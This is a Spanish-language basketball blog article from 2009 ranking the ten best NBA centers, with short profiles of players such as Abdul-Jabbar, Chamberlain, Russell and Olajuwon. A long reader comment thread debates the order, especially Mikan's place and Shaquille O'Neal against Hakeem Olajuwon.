Los mejores centers de la historia

29 de June de 2009 por TheDeerHunter
Artículo 1 de 7 de la serie Los mejores de la historia

No se puede decir que haya demasiada actividad alrededor de nuestra liga favorita una vez finalizado el draft. Por eso, antes de dejaros que os pilléis vuestras merecidas vacaciones baloncestísticas vamos a aprovechar la inercia de la temporada para hacer algo que no habíamos hecho antes: Nuestra propia lista de jugadores históricos. Los mejores, según nuestra opinión, de la historia de esta liga.

Como en todas las listas de este tipo los criterios empleados y las conclusiones derivadas de ellos son variadísimas… y en la nuestra todavía más, pues la hemos decidido de forma estríctamente democrática entre nuestro equipo de expertos. Como es natural echaréis en falta a gente, os sobrará alguno, discreparéis con el orden… No os cortéis en absoluto a la hora de criticarla. Necesitamos vuestra opinión. Sin más, let’s go.

1.- Kareem Abdul-Jabbar/ Lew Alcindor: 6 anillos en 10 finales; 6 MVPs; 2 MVPs de las finales, el último de ellos con 38 años; 19 apariciones en el all-star en 19 años de carrera; Rookie del año; 2 Títulos de máximo anotador y líder de todos los tiempos en puntos anotados. 10 elecciones para el primer quinteto de la NBA y 5 más para el defensivo. Su longevidad en la competición hasta los 42 años, conforme iba reventando marcas absolutas, suavizaba engañosamente sus promedios. Se trataba de un tipo capaz de registrar unos 34,8 ppp y 16,6 rebotes al alcance de muy pocos. En España lo conocimos tarde, algo mayor y con un estilo un tanto “unsexy”, según sus propias palabras. Eclipsado por las maravillas de Magic no iba a lograr aquí que nadie se enamorase su juego, pero con uno de los recursos ofensivos más mortíferos de la historia, el “Sky Hook”, resultó siempre imparable y marcó una línea de talento que nunca antes se había visto en la posición de pívot. La figura más importante en las décadas 70 y 80, la época dorada del baloncesto mundial. Él es la NBA.

2.- Wilt Chamberlain: “The Big Dipper”, la constelación más rutilante del universo. Fue individualmente un monstruo. Una bestia cuyos números pasados 50 años nos siguen pareciendo inhumanos. Un adelantado a su tiempo. Promedios de más de 50 ppp o 27 rebotes, partidos de 100 puntos o 50 rebotes como si nada… Su nombre está escrito a fuego en las tablas de récords de la liga y eso que todavía no se contabilizaban los tapones. Su impacto en la competición fue único en la historia del deporte, tanto que una parte significativa del reglamento tuvo que ser modificada por su causa. Sin embargo, su descomunal superioridad individual no llegó a traducirse en triunfos colectivos. “Únicamente” ganó dos anillos en 14 años y se hartó de perder finales. ¿Cómo es posible? De entrada “sufrió” en sus carnes a los mejores Celtics de la historia, el equipo irrepetible formado y dirigido casi exclusivamente por leyendas… Y cuando se disolvió llegaron los mejores Knicks de la historia. Algunos le reprochan un punto de falta de competitividad y también un cierto grado de dispersión en lo que se traía entre manos, tan multifacético como era él. La batalla que perdió contra la línea de tiros libres fue decisiva. Hasta sus rivales reconocen que ha sido el jugador más castigado por las faltas más flagrantes de la historia. Era tan escandaloso que a punto estuvo de retirarse tras su año de Rookie a causa de la dureza con la que se empleaban contra él y la complacencia de los árbitros. El “Hack al grande” existió antes de Popovich. Historia tan vieja como el baloncesto.

3.- Bill Russell: El Nº 6 de los Celtics es el verdadero Señor de los Anillos. Los 11 títulos en 13 años de carrera que logró para la franquicia del trébol son argumento de peso para ser considerado por muchos como el mejor pívot de la historia. Su perfil, no obstante, se resume en la aparente paradoja de haber ganado 5 MVPs y sin embargo haber sido elegido para el mejor quinteto de la competición en tan sólo 3 ocasiones (y para el defensivo en una). Mientras siempre hubo otros pívots individualmente superiores a él (con unas habilidades más convencionales para la posición) ninguno significó tanto para su equipo, la dinastía más dominante de la historia. Él representa el baloncesto en su sentido más colectivo. Especializado a más no poder en la defensa, era un dios bajo tableros y un competidor imbatible. Sus compañeros se encargaban de la parte ofensiva, para la cual él no estaba tan sobradamente dotado. Y sin embargo jamás nadie puso en duda su liderazgo en un equipo de ensueño. Un hecho único en la historia de cualquier deporte. Ese es su gran mérito.

4.- Hakeem Olajuwon: Llamarle “The Dream” o “El bailarín de claque” es no hacer justicia a la figura del nigeriano. Y es que antes ser el pívot más elegante y plástico de cuantos hayan pisado una cancha, era una bestia parda y un defensor, reboteador e intimidador terrorífico. El jugador perfecto que hacía todo bien. Después vienen sus dos títulos, en el descanso de “su majestad”, casi anecdóticos por como deslumbró al mundo con sus diabluras al poste bajo. Ahí sí cuadra el símil del bailarín. El juego de pies más bello que nunca nadie haya podido imaginar. Su único pero es que sus registros no son tan fastuosos como los de otros, aunque no importa. No sabemos si volveremos a ver a otro como él. Lo único cierto es que le echamos de menos.

5.- Shaquille O’neal: El único de la lista todavía en activo. El siglo XXI es la inmensidad de Shaq en medio de la zona. Grande y fuerte como alguna raza de osos y con la velocidad y coordinación de muchos aleros, el sobrenombre que mejor le define es Twister. Algunos lo consideran como el prototipo del pívot perfecto, devastador cerca del aro. Su expresión bobalicona y su estilo tosco centralizado en la potencia ocultan un jugador inteligente, gran conocedor del juego y un excelente pasador desde el vértice del triángulo ofensivo. Ha ganado todo lo que él ha querido, algo menos de lo que parecía iba a ser capaz. Cierta indolencia defensiva y falta de ambición deportiva le han privado del podio, aunque también habría que decir que el mundo estaba mejor preparado para detenerle que hace años. Todos caeremos en su grandeza cuando ya no esté.

6.- Moses Malone: Otro de los grandes iconos de la liga, durante los 70, 80… e incluso 90. 21 años de carrera entre la ABA y la NBA se dicen pronto y nadie le regaló nunca nada. Tenacidad y trabajo son las palabras que mejor definen a este mito, a priori excesivamente bajo como para hacerse un hueco en esta lista de divinidades. 3 MVPs le avalan, y un anillo forjado a base de pegarse con todos bajo los tableros. El mejor reboteador de la historia después de Chamberlain y Russell forzaba faltas como nadie. Tampoco era manco mirando el aro, superando los 20 en la gran mayoría de los mil y muchos partidos que disputó.

7.- George Mikan: Ubicar a Mikan desde un prisma actual resulta complicado. No debe de quedar mucha gente que recuerde cómo jugaba. Su virtud fue tener una altura increíble para la época y saber moverla. Sólo decir que antes de que él llegara no habían siquiera imaginado la necesidad de una regla de tapón ilegal porque era imposible que nadie interceptara un lanzamiento descendente por encima del aro. Así, su mera presencia contribuyó decisivamente a definir las bases del juego 10 o 15 años antes de tiempo. Lo hizo de manera feroz, con 5 títulos en tan solo 6 años de carrera deportiva, en una liga que por aquel entonces era poco menos que amateur. Después se dedicó a la abogacía. El mejor jugador de baloncesto del mundo de la primera mitad de siglo. Un pionero. Llama la atención que tras todo lo que ha llovido todavía hayan tantos valiéndose exclusivamente del físico para triunfar en esto.

8.- David Robinson: La exquisita educación y mentalidad del “Almirante” hacen de él uno de los jugadores más respetados de la historia. Su personalidad seria y austera, profesional al mejor estilo Popovich, queda incluso por encima de su extraordinario currículum. Muchos creen que sale perdiendo en la comparativa frente a sus contemporáneos, eso antes de revisar sus logros. Rookie del año, MVP, Mejor defensor, máximo anotador, 2 anillos, oros olímpicos, miembro del verdadero Dream Team… Sin necesidad nunca, por increíble que nos parezca, de dar palmas en la cara de un rival o de vacilarle tras pegar un tapón o un mate en su cara. Casi un 2,20 de pura fibra, coordinación y agilidad, con un lanzamiento de media distancia definitivo. Y con todo lo que bueno que era lo que resalta es su personalidad. Eso es lo más alucinante. Un modelo a seguir el del caballero de los Spurs.

9.- Patrick Ewing: No logró nunca ganar un anillo. La maldición empieza con Jordan y termina en “el canto de un duro”, pero nadie que le viera jugar podría olvidarse de él en una lista de los mejores pívots de la historia. El jamaicano de Georgetown siempre fue un pura sangre. La liga se vio obligada a cambiar las reglas del sorteo del draft, pues se encontró con que 30 equipos se pusieron a “adulterar” las posiciones mientras esperaban a que Ewing cerrara su etapa universitaria. Grande, fuerte, completísimo en ataque y en defensa. Elemento indispensable del Dream Team. Su duelo contra Olajuwon en las finales del 94 fue antológico. No fue él quien falló ante ese reto. Ahora enseña a otros ilustres a cómo ser un campeón por si alguien duda si lo fue.

10.- Robert Parish: El mítico 00 de los Celtics. El tipo con más partidos disputados en la historia de la liga. Debutó en el 76 y se retiró en el 97 con 43 años. No busquéis nada en sus números, no son nada del otro jueves pues es el ejemplo más claro de que el box-score no siempre indica lo que sucede en la cancha. No era el lucimiento personal lo que le motivaba. “El Jefe”, por un ingenioso símil con el personaje indio de “Alguien voló sobre el nido del cuco”, no daba a nadie ni los buenos días. Su cara de mala leche solo era un mal presagio de lo que se avecinaba y es que Jabbar todavía sufre pesadillas cuando piensa en su némesis. El eje de uno de los froncourts más temidos de toda la historia. De jefe de Bird a jefe de Jordan. 4 anillos, ningún MVP. Ni falta que le hacía. Tampoco le hubieran hecho sonreir.

Como véis la competitividad en la posición de pívot es alucinante. Es la posición sobre la que las franquicias históricamente han centrado sus proyectos. Los jugadores más dominantes del baloncesto. Nos hemos visto obligados a dejar verdaderos mitos fuera del top10. Nombres como Willis Reed, West Unseld, Bill Walton, Dave Cowens, Nate Thurmond, Dolph Schayes, Brad Daugherty, Bob Lanier, Alonzo Mourning, Arvydas Sabonis o Dikembe Mutombo, darían para otro artículo bien completo que probablemente habrá que hacer en un futuro próximo. Os toca a vosotros discernir si deberían haber estado mejor considerados.

Comenta

38 comentarios a esta entrada

  1. Dantley2 dice:
    #1

    Qué grande es este deporte. Gracias Deer por tan enorme artículo

      Citar

  2. Txusma dice:
    #2

    A mi la presencia de Mikan es la unica que me chirria y se que por decir esto mucha gente se puede echar las manos a la cabeza. Es curioso pero los grandes, grandes pivots lo han sido, aparte de por sus numeros y por su talento, por encontrar a otro pivot de un nivel similar con el que pelearse. Jugadores contrarios con los que escribir en la historia duelos lengendarios o al menos con los que sudar la camiseta. Jabbar, Malone, Parish, Unseld, Walton, Redd, Thurmond, Cowens se pasaron años pegandose bajo los tableros; Olajuwon, Robinson, Mourning, Ewing, Mutombo y Shaq también se vieron las caras más de una y más de 2 veces; Russell, Chamberlain y Belamy también se enfrentaron (y a lo mejor no habñia muchos más pivots pero los 2 primeros valian por 300)… Pero, con quien lucho Mikan? Alguien recuerda otro pivot de similar categoria de los de la lista, contemporaneo de Mikan? Entonces, cuanto de Mikan le viene por el hecho de ser único? Unico a nivel fisico en una epoca en que esa diferencia era, sin duda, definitiva en un deporte acabado de nacer.

      Citar

  3. Viva_Dirk dice:
    #3

    Bueno Txus, la diferencia de tamaño entre Mikan y Mikkelsen o Schayes no era mayor que la que Yao tiene sobre el 95% de los centers de ahora, por no hablar de Unsled o de los 10 centímetros que Chamberlain le sacaba a Russell.

      Citar

  4. Txusma dice:
    #4

    Espero que hayas tirado de enciclopedia pq si los nombres de Mikkelsen o Schayes te han venido inmediatamente a la cabeza eres todo un genio…
    No hay que sacar las cosas de contexto. Hablamos de un fisico privilegiado en una epoca en que este detalle te daba aun mas ventaja sobre los rivales de las q te da ahora. Aparte de que en aquella epoca el nivel de profesionalizacion era minimo y la mayoria de jugadores a duras penas asimilaban los 4 conceptos del nuevo deporte. Vamos q me imagino q los rivales de Mikan lo veian venir y no tenian ni idea de como pararlo. Dobles y triples marcajes? Existian las ayudas? Alguien habia enseñado a los jugadores a defender correctamente a un tio que te saca 15 cm?
    Ojo, no digo que Mikan fuera simplemente un tio alto. Creo que, efectivamente, marco una epoca y fue el mejor jugadores de su tiempo. Pero hace tanto que me cuesta mucho compararlo con el resto de jugadores un tanto mas modernos.

      Citar

  5. MagicJohnson32 dice:
    #5

    Yo creo que la altura no marca diferencias si no hay talento de por medio. La altura te puede dar un contrato en la NBA, como se los dio a Bradley, a Manute Bol y a Muresan, pero estos mismos ejemplos sirven para demostrar lo anterior: sin talento, la altura no les sirvió para marcar diferencias.

    A mí me cuesta valorar a Mikan, pero sólo porque no lo he visto jugar.

    En general, bastante de acuerdo con la lista. Aunque fíjate, que a mí no me caía bien Robinson…

      Citar

  6. TheDeerHunter dice:
    #6

    Precísamente Txus, el caso de Schayes es totalmente representativo en contra del argumento que propones. Él es uno de los 50 mejores jugadores de la historia, así que tampoco hay que bucear demasiado dentro de ninguna enciclopedia para conocerlo. Es el ABC de las leyendas… aunque reconozco que es menos conocido que otros. En cualquier caso es un ejemplo que desmonta por completo la afirmación de que no había nadie que estuviera en condiciones de enfrentarle.

    El único argumento que se puede tener contra Mikan es ese, que se conoce muy poco de él o de lo que había a su alrededor. Seguramente sí, se valió de su físico para triunfar en la liga (que ya ves lo que triunfó… que en pocos años se tuvo que poner a currar de abogado) y dime quién de esta lista no lo hizo. Pero el mérito suyo es que sin ninguna preparación ni cultura física era capaz de mover como nunca nadie había hecho antes un cuerpo como el suyo (que seguro que sí hubieron cuerpos como ese antes que él) En aquella época eso es mucho. Y nadie de aquí tampoco podría decir que era un manco técnicamente hablando. De hecho… también habría que entrar a valorar lo que supone hacer unos númeracos como los suyos sin que nadie tuviera ni puñetera idea de tirar a canasta, o sin reglas de posesión, etc… No todo lo que había le beneficiaba a él, entiendo.

    Para mí lo que propones, el poner un sesgo temporal en función de unos criterios subjetivos muy discutibles me parece tan acertado como lo sería negar que Anibal o Julio César fueron buenos generales porque en aquella época se utilizaban unas tácticas y medios militares bastante rudimentarios. No sé si esta comparación es o no acertada, pero podría encontrar miles como esa. Lo que me parece indiscutible es su aportación a la liga… y que sus 5 anillos valen lo mismo que cualquier otro que tú me digas. Lo que me parecería una injusticia tremenda es negar su presencia y sus virtudes objetivas por causas completamente ajenas a él mismo.

    En cualquier caso… mojémonos. Propones que no debería estar ¿quien crees tú debería aparecer en su lugar y porqué??

      Citar

  7. Txusma dice:
    #7

    Fijate que en la lista que dí en su momento Mikan aparecía en el TOP TEN, un pelín más abajo, eso sí. En realidad, hablar de Mikan es hablar de la dificultad de crear una lista con los mejores pívots de la historia y del esfuerzo que supone hacerlo. Tan solo queria apuntar que no se si deberiamos poner en entredicho los ‘numeracos’ de Mikan (y pq no, de Russell y Chamberlain) al haberse producido en epocas en que el fisico marcaba aun mas diferencias que ahora.
    Eso si, reitero. La importancia de Mikan (como la de Russell o Chamberlain) para la evolucion del baloncesto es iinegable y por tanto se merece estar en ese TOP TEN.

      Citar

  8. Gallis dice:
    #8

    Pues básicamente de acuerdo con Deer en el tema Mikan. No creo que una lista de los 10 mejores pívots se entienda sin él. Es cierto que sacó partido de su físico (como los otros 9 y todos los que se han quedado fuera), pero precisamente el saber hacerlo es lo que hace que sea imposible restarle mérito alguno…

    Sobre el resto de la lista, coincido con mi socio. A mi tampoco me caía bien Robinson (es más, en su momento estaba ahí ahí con Malone, jeje)…pero lo que más me chirría de la lista en Russell tercero, por detrás de Chamberlain. Para mí Jabbar es el único que le puede discutir a Russell el TOP 1. Ellos 2 son, creo, los mejores pívots de la historia. A Russell creo que se le infravaloró en su momento (los premios personales, o la ausencia de los mismos lo confirma) y se le sigue infravalorando un poco…

    Y fijate que sigo creyendo que si Shaq hubiera querido, nadie le hubiera podido discutir el primer puesto.

      Citar

  9. TheDeerHunter dice:
    #9

    A ver señores… que yo no soy sospechoso de que me tuviera que caer bien Robinson… de hecho no he dicho eso. Digo que es un tipo de los más correctos y “legales” que yo he visto en una cancha de baloncesto, a las duras y a las maduras (que aún me acuerdo del baile que le pegó Olajuwon en aquellas finales de conferencia y no se le vió dar ni una mala falta) Y desde luego nada que ver con EL CARTERO (que le llamaban así por algo)
    Y no es algo que lo diga yo… es algo que se resalta de él en muchísimas biografías que circulan por la red. En mi opinión es un ejemplo para la mayoría.

    Sobre el duelo Russell vs Chamberlain, yo también voté por Russell… aunque lo hice según un punto de vista específico, porque al final Russell ganó casi todas las batallas. También lo tenía más fácil, entiendo.
    Según otros criterios no puede haber color entre Russell y Chamberlain jamás (de hecho entre Chamberlain y ningún otro) En cualquier caso no creo que Russell haya sido un jugador infravalorado. Por cada cancha que pasa le montan una fiesta. De sus números ofensivos también habría que decir algo… porque por bastante menos razones que las suyas a Gasol se le ha puesto a caer de un burro, sin ir más lejos esta misma temporada y por alguno de los que aquí habéis opinado ;D

      Citar

  10. TheDeerHunter dice:
    #10

    también tengo que decir que en su día también pensé que Shaq llegaría a ser el mejor pívot de la historia… de eso ya ha llovido.

    De hecho no me creo que Olajuwon haya quedado por delante de él en nuestra votación… ahí sí me gustaría sacar punta al asunto.

      Citar

  11. Gallis dice:
    #11

    El tema de los números ofensivos de Russell no es comparable al asunto Gasol…en aquellos Celtics (y en aquella época), los roles estaban mucho más definidos que ahora. Russell siempre hizo todo lo que tuvo que hacer, que es lo que se le criticó a Gasol (y fue en un partido, que parece que a Gasol se le dió cera todos los Playoffs, jojojojo)…vamos, que por ahí pinchas en hueso.

    El tema Olajuwon- Shaq si que es complicado, si…pero para mí la losa que supone haberle visto desperdiciar tanto talento le hace bajar varios puestos…

      Citar

  12. Viva_Dirk dice:
    #12

    Shaq ni vió a Olajuwon en la final que jugaron, lo que se dice ni verle.

    Salvo machacar cerca del aro en lo que Shaq es superior y que ambos son buenos pasadores, Olajuwon era mejor en todo lo demás.

      Citar

  13. TheDeerHunter dice:
    #13

    Lo de Gasol… te lo perdono Gallis, no te preocupes.
    Russell puede dar gracias a los cielos de que los roles estuvieran así de definidos como dices, y también de tener los compañeros que tenía para sacar las castañas, porque de cara a lado decir que era limitado es decir poco.
    Lo de desperdiciar talento… creo que no he visto una debacle mayor en un jugador como la que vi en Olajuwon. Lo que dice Viva al respecto es simplificar el asunto hasta casi la ciencia ficción. Vi aquella final, en la que había 5 tipos encima de Shaq en un sistema defensivo genial que montó Tomjanovic (sin hablar de las faltas, claro) porque individualmente ya era superior aquel Shaq rookie al mejor Olajuwon de su vida.
    Imaginando que Shaq sólo tuviera una ventaja sobre Olajuwon (lo cual no es cierto pues también era mejor pasador) la cual es más determinante en esa posición que todas las demás. Fue Olajuwon el que no olió a Shaq durante todo lo que le quedó de carrera.
    Y todo esto lo digo desde la máxima admiración que le tengo al nigeriano… que conste.

      Citar

  14. Viva_Dirk dice:
    #14

    Era el tercer año de Shaq en la liga en el que promedió 29.3 puntos, cosa que no volvió a hacer hasta que fue MVP en la 99/00. Recuerdo esa defensa que dices y también a un Penny con 23 años bailando a todo el juego exterior de los Rockets, donde Drexler bastante tenia con rendir en ataque(excelente Drexler eh, pero no podia parar a Penny).

    Luego puede que Olajuwon no le viera en el resto de su carrera, supongo que por los 9 años de diferencia que hay entre uno y otro. Dices que Shaq era mejor pasador y sus números en asistencias son casi identicos, mientras que es innegable que Olajuwon era mejor tirador de media distancia, mas peligroso en el poste alto, mejor tirador de libres, como el mejor alero robando balones y mejor defensor.

    Ojo que sabes que en otros sitios mi nick es Viva_Shaq, es mi pivot favorito, pero los otros eran mejores, en parte porque el no se ha matado por mejorar sus defectos.

      Citar

  15. T good dice:
    #15

    Bill Russell es el más grande con diferencia. Fue de entre todos los mencionados el que más éxito tuvo en su carrera deportiva. Es verdad que Wilt Chamberlain era capaz de meter 100 puntos en un mismo partido, pero cuando tuvo en frente a Russell (en 1969), el anillo fue para los “verdes”, con una defensa pletórica sobre Wilt.

      Citar

  16. TheDeerHunter dice:
    #16

    Estoy de acuerdo en todo lo que dices, Viva… (incluso en lo del 3er año… que hubiera jurado que había sido en su año de rookie) y todo eso de no haberse matado ya lo reflejamos en el artículo.

    Pero con todo lo que dices que era mejor tirador y defensor… a mí Olajuwon no me causó nunca la impresión de devastación total de Shaq. Y los resultados al final defienden eso.
    Shaq el año que viene peleará por su 5º anillo. Olajuwon tiene 2 y gracias.

      Citar

  17. Viva_Dirk dice:
    #17

    Bueno Deer, esos resultados de los que hablas dicen que Russell les da 500 patadas a todos los de la lista.

    En cuanto a los 2 anillos de Olajuwon, en una final se pegó con el propio Shaq, en la otra contra Ewing. ¿A que pivots se ha enfrentado Shaq en sus anillos? Hakeem ganó 2 anillos aprovechando la ausencia de Jordan y demostró que era con diferencia el mejor de los grandes dinosaurios que habia por entonces en la liga.

      Citar

  18. Gallis dice:
    #18

    Ves Deer, a eso me refiero cuando digo que Russell está infravalorado…

    Dices Russell tiene que dar gracias a los cielos por tener los compañeros que tenía…cuando, en serio, esos compañeros dan gracias a dios todos y cada uno de los días de su vida por haber coincidido con Russell…es más, si no fueran octogenarios, todavía besarían el suelo que pisa…

      Citar

  19. TheDeerHunter dice:
    #19

    Nadie ha dudado eso, Gallis… esa es una evidencia.
    Como también lo es la capacidad ofensiva de Russell, particularmente en su comparación con Jabbar y Chamberlain. No entiendo como puedes negar eso.

      Citar

  20. portu dice:
    #20

    Dice Viva q sólo superaba Shaq a Hakeem machacando cerca del aro… pues quízás sí, sería como decir que Craig Hodges tenía mejor mecánica de tiro q Reggie Miller…; lo q ha hecho Shaq cerca de la canasta (q por cierto es donde juegan los pivots) ha sido algo incomparable, no he visto a Chamberlain más q en videos cortos así q lo excluyo de la comparación, pero la fuerza, coordinación y velocidad de Shaq no son comparables ni siquiera con la actual situación de Lebron. Me da la sensación de q Hakeem ha salido algo sobrevalorado en estas listas, al igual q P. Ewing, sobretodo por aquello de dominar el juego de pies, la estética del juego, ser muy completo y topdo eso, pero yo veo a Shaq un jugador colosal, muy por encima de ellos. De P. Ewing me gustaría decir q para mí tenía algo de alergia a pegarse en la zona, abusaba de su buen tiro de media distancia, sería algo comparable a lo q hace Yao actualmente, me parece q Robinson, poseyendo características parecidas a Ewing le superó en energía y decisión a la hora de defender y atacar cerca del aro.

      Citar

  21. TheDeerHunter dice:
    #21

    Acerca de Ewing: Se fue alejando del aro conforme sus rodillas fueron exigiéndoselo… y puede que tus recuerdos se hayan visto “intoxicados” por sus últimos años. En los primeros 8-10 de su carrera había que ver al “gorilo” cerca del aro donde Robinson no le ganaba. Para mí Ewing era el pívot titular del Dream Team.
    En eso coincidieron ambos… que conforme fueron envejeciendo se fueron alejando más y más del aro. Es algo lógico… sobre todo en gente con tan buena mano como estos dos. Al menos ellos tenían eso. Otros directamente se diluyeron. Te apostaría algo a que también lo veremos pronto en Duncan.

    Dices que Hakeem o Ewing están sobrevalorados en esta lista. Según tú ¿en qué lugar deberían estar y qué pívot debería estar en el suyo??

      Citar

  22. Viva_Dirk dice:
    #22

    No creo que nadie halla negado lo que tu dices Portu, pero decir que eso le hace superior a otro es simplificar. Shaq ha jugado muy cerca del aro por cualidades….y por defectos. Si Shaq hubiese tenido un tiro de media distancia como el de cualquiera de los 3 que nombras lo habria aprovechado tanto como Robinson o Olajuwon y eso desde luego también creaba muchas ventajas, que se lo pregunten a Duncan como vivia con un Robinson ya muy mayor o con los otros compañeros que ha tenido. Sacar al center rival a 5 metros del aro no solo te da la posibilidad de revasarlo en velocidad como hacia Olajuwon, sino que permitia a Drexler meterse hasta la cocina sin tener que preocuparse de que el center rival llegara a la ayuda.

    También podemos hablar de la devastación total de Shaq en los últimos minutos de los partidos apretados, era tan devastador que directamente habia que sentarlo para no perder el partido.

    No entiendo muy bien esa sensación de ‘devastación total’ de la que hablar Deer. Shaq debutó en la 92/93 y su primer anillo llegó en la 99/00, en medio hay 7 temporadas donde ganan 4 anillos los Bulls de Jordan, 2 los Rockets de Olajuwon y uno los Spurs de Duncan&Robinson. ¿Que hace Shaq durante esos años? Sus derrotas en play-offs durante esos años son con los Pacers que tenian a Dale Davis y Rick Smit, los Rockets de Olajuwon, los Bulls de Jordan, los Jazzs dos veces y los Spurs; salvo los Bulls todos con gente interior muy fuerte. Y ojo que durante todos esos años Shaq tuvo muy buenos equipos rodeandolo. Si me preguntais porque Jordan no ganó anillos desde el primer año yo os lo argumento, me gustaria escuchar porque Shaq no ganó con equipos tan buenos o mejores que los de Olajuwon o Robinson.

    Los anillos de Shaq vienen principalmente por 3 motivos: 1.- Que el era bueniiiiiiiisimo, eso nadie lo niega. 2.- Que aparece Kobe 3.- Que los grandes pivots se van retirando y de ahí el dominio indiscutible de Shaq bajo los aros.

      Citar

  23. TheDeerHunter dice:
    #23

    Yo siempre he creído que los pívots que salían a 5 metros para descolocar al rival y poder rebasarlo era porque no eran capaz de rebasarlo debajo del aro. Nunca vi a Kobe, Wade o Hardaway tener problemas para penetrar y machacar con el par de Shaq dentro. En cambio sí he visto una y mil veces como le doblaban el balón cuando se veían apurados… y ahí el perro gordo se hacía el bocadillo.

    Es curioso el argumento que empleas en el debate Olajuwon vs Shaq, Viva (que entiendo que es lo que nos ocupa ahora mismo) Hablas de los anillos que no logró Shaq… que fueron muchos menos de los que no lograron Olajuwon o Robinson. Cualquiera de ellos hubiera vendido a su padre por tener los suyos… y también por haber llegado a la mitad de finales que ha disputado (que esa es otra)
    Lo que me gustaría es que me refrescaras la memoria sobre qué superequipos impidieron que Olajuwon (o Robinson) jamás llegara a ninguna final además de las que ganó… y ninguno de ellos incluía a Jordan en la plantilla. Por otro lado, el primer mini-anillo de los Spurs yo lo pondría en cuarentena como mínimo…

    Lo de que Shaq perdió cuando tenía equipos tan buenos o mejores que los de Olajuwon o Robinson campeones, no puedo estar más en desacuerdo. De hecho sí recuerdo que alguno de los equipos de los mejores años en LA sí estaban bastante pillados por los pelos. Y si quieres repasamos en cuantos partidos fue sentado Shaq en los momentos decisivos… el tirazo de Horry vino tras palmeo de Shaq y ese es el partido más complicado de la época de su plenitud. Podríamos revisar muchos… y en muy pocos sentaron a Shaq.

    Pero hablamos de su dominio… y no veo qué tiene que ver Kobe en eso. Los pívots a los que se enfrentó Shaq van desde el mejor Olajuwon de su carrera, el mejor Robinson, Ewing, Mourning, Mutombo, Camby, Sabonis, Divac, Smits, Howard, Yao y alguno que se me olvida a bolapié… pívots buenos desde luego nunca han faltado. Eso sí… es verdad que al lado de Shaq parecían incluso poco. Muchos de esos nombres han salido votados para la lista de los 10 mejores… así que la gente piensa que demasiado mancos no son.

      Citar

  24. Viva_Dirk dice:
    #24

    Ese caso que dices no es el de Olajuwon, Robinson o Ewing, en su caso era un recurso mas, después de anotar desde abajo sacaban a su defensor fuera, si les daba distancia la metian y si se les pegaba mucho le rebasaban. Y yo si he visto tener problemas a cualquiera para anotar delante de un 7 pies con poder intimidatorio. Todas las formas de jugar tienen sus ventajas, añadir recursos solo te hace mejor defensor.

    En los 4 anillos de Shaq no se enfrentó en play-offs ni a Olajuwon, ni a Ewing, ni a Mourning, ni a Camby, ni a Howard ni a Yao. Poner a Sabonis o Divac es facil puesto que ninguno estaba capacitado para defenderle en el cuerpo a cuerpo. No tuvo que pelear con ninguno de esos, y cuando tuvo que hacerlo no ganó anillos.

    Si recuerdo partidos en los que Shaq tuvo que ser sentado para que no recibiera la falta, no se decirtelos exactamente pero eso pasó. Como pasó que antes de la explosión de Kobe los Lakers ganaban mas de 50 partidos y perdian en play-offs, Van Exel y Eddie Jones fueron All-Star y aun así Shaq no supo llevar al equipo al anillo.

    Te refresco la memoria, Olajuwon jugó una final en la 85-86, superó a los Nuggets de English y los Lakers del Showtime y perdió contra los Celtics de Bird. Durante los 80 perdió contra unos Sonics con 3 jugadorazos y los Mavs de Blackman, Aguirre y Harper. Después de eso se lesionó Sampson y los Rockets pasaron los años metiendose en play-offs a duras penas, sin otro argumento ofensivo que el nigeriano. Después de eso vinieron los 2 anillos, con todos los pivots que tu has nombrado en pleno apogeo, en las finales ganó a Ewing primero y Shaq después y por el camino dejó a Barkley&Johnson, Stockton&Malone dos veces a cada equipo y bailó delante de Robinson en la final de conferencia del 95. Después de los anillos solo tuvo 2 años mas al mejor nivel y perdió con dos finalistas de la NBA.

    En cuanto a lo que tiene que ver Kobe o Wade con el dominio de Shaq, es que Shaq también dominaba la liga cuando jugaba con Eddie Jones y Van Exel, que eran muy buenos jugadores, pero hasta que no tuvo a un jugador tan candidato como el al MVP al lado no pudo ganar, porque no quiso mejorar unos defectos que se lo ponian facil al resto de equipos, por eso es uno de los mejores pivots de la historia y no el mejor como debería haber sido.

      Citar

  25. TheDeerHunter dice:
    #25

    No, el caso de los que dices no era un recurso más… lo sería en el caso de Karl Malone, pero en los casos que mencionas apareció y fue adquiriendo importancia en su juego conforme iban perdiendo la capacidad de dominar dentro. Al final era tiro y tiro… nada de rebasar. Estoy de acuerdo que como norma general conviene tener distintos registros, pero a Jabbar jamás le hizo falta ninguno más que el Sky Hook ¿quien se queja de que no aprendiera un tiro en suspensión?? No… no me parece una ley el lanzamiento de 5 metros en los pívots. De la lista de 10, sólo Olajuwon, Robinson y Ewing lo utilizaban (y de los que se quedaron fuera casi también) Supongo que también se trata de una moda de aquella época.

    Lo de que Shaq no se tuvo que enfrentar a grandes pívots en su camino para los anillos es completamente falso… y paso de seguir entrando a valorar la calidad de los contrincantes porque es entrar en un bucle infinito. Me parece incomprensible decir que aquellos Mavs o aquellos Sonics eran mejores que Spurs o Pacers, los rivales de Shaq tan dignos como los de Olajuwon o más. Y los resultados bastante diferenciados.

    Hablando de Van Exel, Eddie Jones o Elden Cambell, de aquel equipo de 4 all-stars… mira, los conocí muy bien, como supongo que tú también, y de ellos sí podría sacar alguna punta de su “grandísima” categoría como jugadores…. Vamos que me juego algo gordo a que cualquiera los cambiaba a los tres por Fisher, Harper, Horry o Cassell, Ellie, Smith… que no sé cuantas veces han catado el evento del all-star.

    Finalmente… ¿exáctamente qué se le pide a Shaq?? ¿qué debería haber mejorado?? ¿el tiro?? pero si se mató a tirar tiros libres y lo más que llegó fue a un 65% ¿pero viste cómo cogía la bola?? ¿como se puede lanzar bien a canasta con unas manos que hacen que la bola parezca una pelota de tenis???
    Y sin embargo, del Shaq vs Olajuwon al que ganó los anillos sí hubo una multitud de recursos que aportó a su juego. No se puede decir que exáctamente no quisiera mejorar sus defectos. Objetivamente los mejoró… estoy de acuerdo con que en algunas cosas sí se dejó llevar.

      Citar

  26. Viva_Dirk dice:
    #26

    Pero que me dices del tamaño de la mano hombre, Shaq no tiene las manos mas grandes que Gasol o Sabonis. Shaq no se mató a mejorar eso y tu mismo me das la razón. El año que tuvo un entrenador personal y se hinchó a entrenar tuvo un 62%, si hubiese tenido ese promedio en toda su carrera no creo que el ‘cazar a Shaq’ hubiese sido tan utilizado. Una muestra de su ansia por mejorar es que el año siguiente tuvo un vergonzante 49%.

    Su estado físico, Shaq cada año que pasó llegó peor físicamente al inicio de temporada, operarse fuera de hora o hacer declaraciones imbeciles cada dos por tres. Lo que se llama ser un mal profesional.

